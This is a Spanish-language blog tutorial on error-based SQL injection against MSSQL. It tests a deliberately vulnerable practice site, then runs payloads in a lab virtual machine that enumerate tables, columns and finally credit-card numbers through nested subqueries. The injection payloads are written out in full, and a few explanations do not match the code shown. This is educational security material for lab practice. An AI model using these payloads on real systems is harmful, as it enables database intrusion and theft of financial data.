H1RD SECURITY

Ataque SQL Injection por error

Es el más comun y el más facil de explotar ya que es la propia aplicacion que nos va diciendo los errores que da la base de datos cuando vamos usando los ataques de sql injection. Con este error es muy facil conseguir cualquier cosa de la base de datos (estructura, tablas, nombres de campos e incluso datos).

que es sql injection
SQL Injection, la vulnerabilidad web más peligrosa según OWASP.

Para practicar

Te recomiendo que uses esta pagina web: hackyourselffirst.troyhunt.com. Es una pagina vulnerable hecho a posta para poder probar todas las vulnerabilidades web de Owasp, esta creada por el hacker etico Troy Hunt. Tiene varios cursos de hacking en Pluralsight te recomiendo que te subscribas a Pluralsight y los hagas.

Como encontrar encontrar esta vulnerabilidad

En la pagina de hackyourselffirst.troyhunt.com en la pagina de buscar cilindros, y seleccionamos los coches que tienen 8 cilindros, logicamente solo nos saldran los coches con 8 cilindros.

http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V8

Para ver si esta pagina es vulnerable a un ataque sql inject, solo haria falta añadir detras esto: ‘ or 1=1 –

http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V8' or 1=1 --

y Tachan!! nos aparecen todos los coches,la pagina es vulnerable al ataque sql injection.

Y que significa ’ or 1=1 –

Estos caracteres que hemos añadido detras tienen su signficado, os lo voy a explicar.

sin esta comilla, lo que haria la web seria buscar todos los coches con ‘8 or 1=1–’ cilindros, al añadirla hemos cerrado lo que esta buscando la aplicacion. La comilla es necesaria cuando la busqueda original es tipo string, como es V8 si fuera un valor numerico, por ejemplo un 8, no haria falta ya que los valores numericos en la query original van sin comillas.

SQL CON STRING
1
Select id, nombre from coches where marca = 'ferrari' 
SQL CON VALOR NUMERICO
1
Select id, nombre from coches where year = 2012 

or 1=1 esta funcion logica lo que nos ayuda es que da igual lo que buscase la aplicacion, si era falso o no, ahora sera siempre verdadero, ya que 1=1 es siempre verdadero.

esto en sql es para escribir comentarios, si despues de nuestra injeccion de sql quedase algo en la query de sql, por ejemplo un order by o algo más en la busqueda, daria igual ya que para el servidor sql seria como un comentario y no le haria caso.

El ataque SQL Injection por error

Tengo una pagina web vulnerable a sql injection en una maquina virtual de mi ordenador, asi que lo primero que hago es probar que la pagina en question es vulnerable a un sql injection.

web vulnerable a sql injection
SQL Injection, la vulnerabilidad web más peligrosa según OWASP.
web vulnerable a sql injection
Esta web si es vulnerable a sql injection.

Al ser vulnerable a sql injection, explotamos la vulnerabilidad empezando a sacar todos los nombres de las tablas de la base de datos.

SQL Enumeradora 1
1
2
3
4
5
6
7
8
9
(
    select name from sysobjects where id=
    (
        select top 1 id from
        (
            select top 1 id from sysobjects where xtype=char(85) order by id asc
        ) sq order by id desc
    )
)

Esta sentencia SQL, son tres sentencias sql anidadas, hacen lo siguiente:

select top 3 id from sysobjects where xtype=char(85) order by id asc selectiona los tres primeros ids que sean tipo tabla de la tabla del systema sysobjects y los ordena por id ascendentemente.

select top 1 id from ( ) sq order by id desc selecciona el ultimo de la cola

select name from sysobjects where id= da el nombre de la tabla de ese id.

Es decir, podemos recorrer toda la lista de tablas de la base de datos cambiando el valor numerico del Top, ya que ira aumentando la cola, y nosotros siempre cogeremos el ultimo de la cola.

En esta query tanto podemos usar la tabla sysobjects o sys.tables.

SQL Enumeradora 2
1
2
3
4
5
6
7
8
9
(
    select name from sys.tables where object_id=
    (
        select top 1 object_id from
        (
            select top 1 object_id from sys.tables order by object_id asc
        ) sq order by object_id desc
    )
)
web vulnerable a sql injection
Extrayendo el nombre de las tablas de la base de datos mediante sql injection.
Aumentamos el valor del top... y otra tabla
1
2
3
4
5
6
7
8
9
(
    select name from sysobjects where id=
    (
        select top 1 id from
        (
            select top 3 id from sysobjects where xtype=char(85) order by id asc
        ) sq order by id desc
    )
)
web vulnerable a sql injection
Extrayendo el nombre de las tablas de la base de datos mediante sql injection. Otra tabla más..

Y ahora que tenemos los nombres de las tablas, ahora a por las columnas. En la base de datos hay una tabla llamada CreditCard, o sea tarjetas de credito, y el campo 3 de la tabla se llama… CardNumber!!

Error de conversión al convertir el valor nvarchar ‘CardNumber’ al tipo de datos int.

Aumentamos el id del column_id y sacamos las columnas de la tabla.
1
2
3
4
5
6
7
8
9
(
    select name from sys.columns where column_id = 1 and  object_id=
    (
        select top 1 id from
        (
            select top 3 id from sysobjects where xtype=char(85) order by id asc
        ) sq order by id desc
    )
)

Ya tenemos la tabla, el campo de la tabla, ahora los valores… y como hasta ahora, cambiando el valor top de la subconsulta tendremos un registro nuevo

Y como hasta ahora, aumentamos el el top de la consulta anidada y tenemos más valores....
1
2
3
4
5
6
7
8
9
(
    select CardNumber from CreditCard where  CreditCardID=
    (
        select top 1 CreditCardID from
        (
            select top 3 CreditCardID from CreditCard order by CreditCardID asc
        ) sq order by CreditCardID desc
    )
)
web vulnerable a sql injection
Y ahora a sacar todos los numeros de las tarjetas de credito....